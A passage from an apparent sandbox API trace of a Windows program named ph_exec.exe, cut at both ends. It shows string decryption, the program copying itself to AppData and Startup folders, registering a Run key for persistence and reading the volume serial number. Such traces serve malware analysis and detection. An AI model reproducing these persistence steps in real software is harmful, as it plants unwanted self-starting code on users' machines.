hHeap=0xe70000, dwFlags=0x0, lpMem=0xe752c0 | out: hHeap=0xe70000) returned 1 [0123.960] RtlReAllocateHeap (Heap=0xe70000, Flags=0x0, Ptr=0xe714f0, Size=0x72) returned 0xe752c0 [0123.960] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x72) returned 0xe75340 [0123.960] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe753c0 [0123.960] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc1c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fc84 | out: phKey=0x53fc84*=0x7b5ee0) returned 1 [0123.960] CryptSetKeyParam (hKey=0x7b5ee0, dwParam=0x1, pbData=0x53fc6c, dwFlags=0x0) returned 1 [0123.960] CryptDecrypt (in: hKey=0x7b5ee0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe753c0, pdwDataLen=0x53fc38 | out: pbData=0xe753c0, pdwDataLen=0x53fc38) returned 1 [0123.960] CryptDestroyKey (hKey=0x7b5ee0) returned 1 [0123.960] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe753c0 | out: hHeap=0xe70000) returned 1 [0123.960] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xe752c0, nSize=0x39 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1e [0123.960] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75340 | out: hHeap=0xe70000) returned 1 [0123.960] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe714c8 | out: hHeap=0xe70000) returned 1 [0123.960] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe714c8 [0123.960] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc44, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fcac | out: phKey=0x53fcac*=0x7b5e20) returned 1 [0123.960] CryptSetKeyParam (hKey=0x7b5e20, dwParam=0x1, pbData=0x53fc94, dwFlags=0x0) returned 1 [0123.960] CryptDecrypt (in: hKey=0x7b5e20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe714c8, pdwDataLen=0x53fc60 | out: pbData=0xe714c8, pdwDataLen=0x53fc60) returned 1 [0123.960] CryptDestroyKey (hKey=0x7b5e20) returned 1 [0123.960] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x3e) returned 0xe71510 [0123.960] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x3e) returned 0xe75340 [0123.960] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe75388 [0123.960] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc1c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fc84 | out: phKey=0x53fc84*=0x7b5be0) returned 1 [0123.960] CryptSetKeyParam (hKey=0x7b5be0, dwParam=0x1, pbData=0x53fc6c, dwFlags=0x0) returned 1 [0123.960] CryptDecrypt (in: hKey=0x7b5be0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe75388, pdwDataLen=0x53fc38 | out: pbData=0xe75388, pdwDataLen=0x53fc38) returned 1 [0123.960] CryptDestroyKey (hKey=0x7b5be0) returned 1 [0123.960] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x10) returned 0xe75420 [0123.960] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x53fc00 | out: phkResult=0x53fc00*=0x490) returned 0x0 [0123.961] RegQueryValueExW (in: hKey=0x490, lpValueName="Startup", lpReserved=0x0, lpType=0x53fbfc, lpData=0xe75340, lpcbData=0x53fc04*=0x3e | out: lpType=0x53fbfc*=0x2, lpData=0xe75340*=0xc0, lpcbData=0x53fc04*=0x98) returned 0xea [0123.961] RegCloseKey (hKey=0x490) returned 0x0 [0123.961] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75420 | out: hHeap=0xe70000) returned 1 [0123.961] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75388 | out: hHeap=0xe70000) returned 1 [0123.961] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75340 | out: hHeap=0xe70000) returned 1 [0123.961] RtlReAllocateHeap (Heap=0xe70000, Flags=0x0, Ptr=0xe71510, Size=0x7a) returned 0xe75340 [0123.961] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x7a) returned 0xe753c8 [0123.961] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe75450 [0123.961] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fc80 | out: phKey=0x53fc80*=0x7b60e0) returned 1 [0123.961] CryptSetKeyParam (hKey=0x7b60e0, dwParam=0x1, pbData=0x53fc68, dwFlags=0x0) returned 1 [0123.961] CryptDecrypt (in: hKey=0x7b60e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe75450, pdwDataLen=0x53fc34 | out: pbData=0xe75450, pdwDataLen=0x53fc34) returned 1 [0123.961] CryptDestroyKey (hKey=0x7b60e0) returned 1 [0123.961] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x10) returned 0xe71510 [0123.961] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x53fbfc | out: phkResult=0x53fbfc*=0x490) returned 0x0 [0123.962] RegQueryValueExW (in: hKey=0x490, lpValueName="Startup", lpReserved=0x0, lpType=0x53fbf8, lpData=0xe753c8, lpcbData=0x53fc00*=0x7a | out: lpType=0x53fbf8*=0x2, lpData=0xe753c8*=0xc0, lpcbData=0x53fc00*=0x98) returned 0xea [0123.962] RegCloseKey (hKey=0x490) returned 0x0 [0123.962] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71510 | out: hHeap=0xe70000) returned 1 [0123.962] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75450 | out: hHeap=0xe70000) returned 1 [0123.962] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe753c8 | out: hHeap=0xe70000) returned 1 [0123.962] RtlReAllocateHeap (Heap=0xe70000, Flags=0x0, Ptr=0xe75340, Size=0xf2) returned 0xe75340 [0123.962] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0xf2) returned 0xe75440 [0123.962] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe75540 [0123.962] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fc80 | out: phKey=0x53fc80*=0x7b5fa0) returned 1 [0123.962] CryptSetKeyParam (hKey=0x7b5fa0, dwParam=0x1, pbData=0x53fc68, dwFlags=0x0) returned 1 [0123.962] CryptDecrypt (in: hKey=0x7b5fa0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe75540, pdwDataLen=0x53fc34 | out: pbData=0xe75540, pdwDataLen=0x53fc34) returned 1 [0123.962] CryptDestroyKey (hKey=0x7b5fa0) returned 1 [0123.962] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x10) returned 0xe71510 [0123.962] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x53fbfc | out: phkResult=0x53fbfc*=0x490) returned 0x0 [0123.962] RegQueryValueExW (in: hKey=0x490, lpValueName="Startup", lpReserved=0x0, lpType=0x53fbf8, lpData=0xe75440, lpcbData=0x53fc00*=0xf2 | out: lpType=0x53fbf8*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x53fc00*=0x98) returned 0x0 [0123.962] RegCloseKey (hKey=0x490) returned 0x0 [0123.962] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71510 | out: hHeap=0xe70000) returned 1 [0123.962] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe71510 [0123.962] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x53fbfc | out: phkResult=0x53fbfc*=0x490) returned 0x0 [0123.962] RegQueryValueExW (in: hKey=0x490, lpValueName="Common Startup", lpReserved=0x0, lpType=0x53fbf8, lpData=0xe754d8, lpcbData=0x53fc00*=0x5a | out: lpType=0x53fbf8*=0x0, lpData=0xe754d8*=0x73, lpcbData=0x53fc00*=0x5a) returned 0x2 [0123.962] RegCloseKey (hKey=0x490) returned 0x0 [0123.962] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x53fc10 | out: phkResult=0x53fc10*=0x490) returned 0x0 [0123.962] RegQueryValueExW (in: hKey=0x490, lpValueName="Common Startup", lpReserved=0x0, lpType=0x53fc0c, lpData=0xe754d8, lpcbData=0x53fc14*=0x5a | out: lpType=0x53fc0c*=0x2, lpData=0xe754d8*=0x73, lpcbData=0x53fc14*=0x78) returned 0xea [0123.962] RegCloseKey (hKey=0x490) returned 0x0 [0123.962] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71510 | out: hHeap=0xe70000) returned 1 [0123.962] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75540 | out: hHeap=0xe70000) returned 1 [0123.963] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75440 | out: hHeap=0xe70000) returned 1 [0123.963] RtlReAllocateHeap (Heap=0xe70000, Flags=0x0, Ptr=0xe75340, Size=0x1e2) returned 0xe75340 [0123.963] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e2) returned 0xe75530 [0123.963] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe75720 [0123.963] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fc80 | out: phKey=0x53fc80*=0x7b5e20) returned 1 [0123.963] CryptSetKeyParam (hKey=0x7b5e20, dwParam=0x1, pbData=0x53fc68, dwFlags=0x0) returned 1 [0123.963] CryptDecrypt (in: hKey=0x7b5e20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe75720, pdwDataLen=0x53fc34 | out: pbData=0xe75720, pdwDataLen=0x53fc34) returned 1 [0123.963] CryptDestroyKey (hKey=0x7b5e20) returned 1 [0123.963] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x10) returned 0xe71510 [0123.963] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x53fbfc | out: phkResult=0x53fbfc*=0x490) returned 0x0 [0123.963] RegQueryValueExW (in: hKey=0x490, lpValueName="Startup", lpReserved=0x0, lpType=0x53fbf8, lpData=0xe75530, lpcbData=0x53fc00*=0x1e2 | out: lpType=0x53fbf8*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x53fc00*=0x98) returned 0x0 [0123.963] RegCloseKey (hKey=0x490) returned 0x0 [0123.963] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71510 | out: hHeap=0xe70000) returned 1 [0123.963] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe71510 [0123.963] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x53fbfc | out: phkResult=0x53fbfc*=0x490) returned 0x0 [0123.963] RegQueryValueExW (in: hKey=0x490, lpValueName="Common Startup", lpReserved=0x0, lpType=0x53fbf8, lpData=0xe755c8, lpcbData=0x53fc00*=0x14a | out: lpType=0x53fbf8*=0x0, lpData=0xe755c8*=0x73, lpcbData=0x53fc00*=0x14a) returned 0x2 [0123.963] RegCloseKey (hKey=0x490) returned 0x0 [0123.963] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x53fc10 | out: phkResult=0x53fc10*=0x490) returned 0x0 [0123.963] RegQueryValueExW (in: hKey=0x490, lpValueName="Common Startup", lpReserved=0x0, lpType=0x53fc0c, lpData=0xe755c8, lpcbData=0x53fc14*=0x14a | out: lpType=0x53fc0c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x53fc14*=0x78) returned 0x0 [0123.963] RegCloseKey (hKey=0x490) returned 0x0 [0123.963] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71510 | out: hHeap=0xe70000) returned 1 [0123.963] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75720 | out: hHeap=0xe70000) returned 1 [0123.963] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0xe75340, nSize=0xf1 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8b [0123.963] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75530 | out: hHeap=0xe70000) returned 1 [0123.963] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe714c8 | out: hHeap=0xe70000) returned 1 [0123.963] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20a) returned 0xe75530 [0123.963] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20a) returned 0xe75748 [0123.963] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20a) returned 0xe75960 [0123.963] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20a) returned 0xe75b78 [0123.963] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xe75530, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe")) returned 0x59 [0123.963] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20a) returned 0xe75d90 [0123.964] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xe75d90, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe")) returned 0x59 [0123.964] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75d90 | out: hHeap=0xe70000) returned 1 [0123.964] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20a) returned 0xe75d90 [0123.964] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xe75d90, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe")) returned 0x59 [0123.964] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75d90 | out: hHeap=0xe70000) returned 1 [0123.964] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe"), bFailIfExists=0) returned 1 [0123.988] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x53fd14 | out: phkResult=0x53fd14*=0x0) returned 0x5 [0123.988] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x53fd00 | out: phkResult=0x53fd00*=0x490) returned 0x0 [0123.988] RegSetValueExW (in: hKey=0x490, lpValueName="ph_exec", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe", cbData=0x52 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe") returned 0x0 [0123.989] RegCloseKey (hKey=0x490) returned 0x0 [0123.989] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x118) returned 0xe75d90 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.989] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.990] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.991] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.992] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] GetLastError () returned 0x0 [0123.993] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe"), bFailIfExists=1) returned 0 [0123.994] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe"), bFailIfExists=1) returned 0 [0123.994] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75d90 | out: hHeap=0xe70000) returned 1 [0123.994] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75530 | out: hHeap=0xe70000) returned 1 [0123.994] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75748 | out: hHeap=0xe70000) returned 1 [0123.994] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75960 | out: hHeap=0xe70000) returned 1 [0123.994] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75b78 | out: hHeap=0xe70000) returned 1 [0123.995] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71460 | out: hHeap=0xe70000) returned 1 [0123.995] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe752c0 | out: hHeap=0xe70000) returned 1 [0123.995] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75340 | out: hHeap=0xe70000) returned 1 [0123.995] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe71460 [0123.995] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc7c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fce4 | out: phKey=0x53fce4*=0x7b5e20) returned 1 [0123.995] CryptSetKeyParam (hKey=0x7b5e20, dwParam=0x1, pbData=0x53fccc, dwFlags=0x0) returned 1 [0123.995] CryptDecrypt (in: hKey=0x7b5e20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71460, pdwDataLen=0x53fc98 | out: pbData=0xe71460, pdwDataLen=0x53fc98) returned 1 [0123.995] CryptDestroyKey (hKey=0x7b5e20) returned 1 [0123.995] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe71488 [0123.995] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe714b0 [0123.995] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe752c0 [0123.995] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc54, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fcbc | out: phKey=0x53fcbc*=0x7b6160) returned 1 [0123.995] CryptSetKeyParam (hKey=0x7b6160, dwParam=0x1, pbData=0x53fca4, dwFlags=0x0) returned 1 [0123.995] CryptDecrypt (in: hKey=0x7b6160, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe752c0, pdwDataLen=0x53fc70 | out: pbData=0xe752c0, pdwDataLen=0x53fc70) returned 1 [0123.995] CryptDestroyKey (hKey=0x7b6160) returned 1 [0123.995] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe752c0 | out: hHeap=0xe70000) returned 1 [0123.995] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe71488, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0123.995] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe714b0 | out: hHeap=0xe70000) returned 1 [0123.995] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71460 | out: hHeap=0xe70000) returned 1 [0123.995] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x53fd24, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x53fd24*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0123.995] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71488 | out: hHeap=0xe70000) returned 1 [0123.995] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x28) returned 0xe71460 [0123.995] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe71490 [0123.995] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb8c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fbf4 | out: phKey=0x53fbf4*=0x7b5aa0) returned 1 [0123.995] CryptSetKeyParam (hKey=0x7b5aa0, dwParam=0x1, pbData=0x53fbdc, dwFlags=0x0) returned 1 [0123.995] CryptDecrypt (in: hKey=0x7b5aa0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71490, pdwDataLen=0x53fba8 | out: pbData=0xe71490, pdwDataLen=0x53fba8) returned 1 [0123.995] CryptDestroyKey (hKey=0x7b5aa0) returned 1 [0123.995] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe714a8 [0123.995] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fbec | out: phKey=0x53fbec*=0x7b5ba0) returned 1 [0123.995] CryptSetKeyParam (hKey=0x7b5ba0, dwParam=0x1, pbData=0x53fbd4, dwFlags=0x0) returned 1 [0123.995] CryptDecrypt (in: hKey=0x7b5ba0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe714a8, pdwDataLen=0x53fba0 | out: pbData=0xe714a8, pdwDataLen=0x53fba0) returned 1 [0123.995] 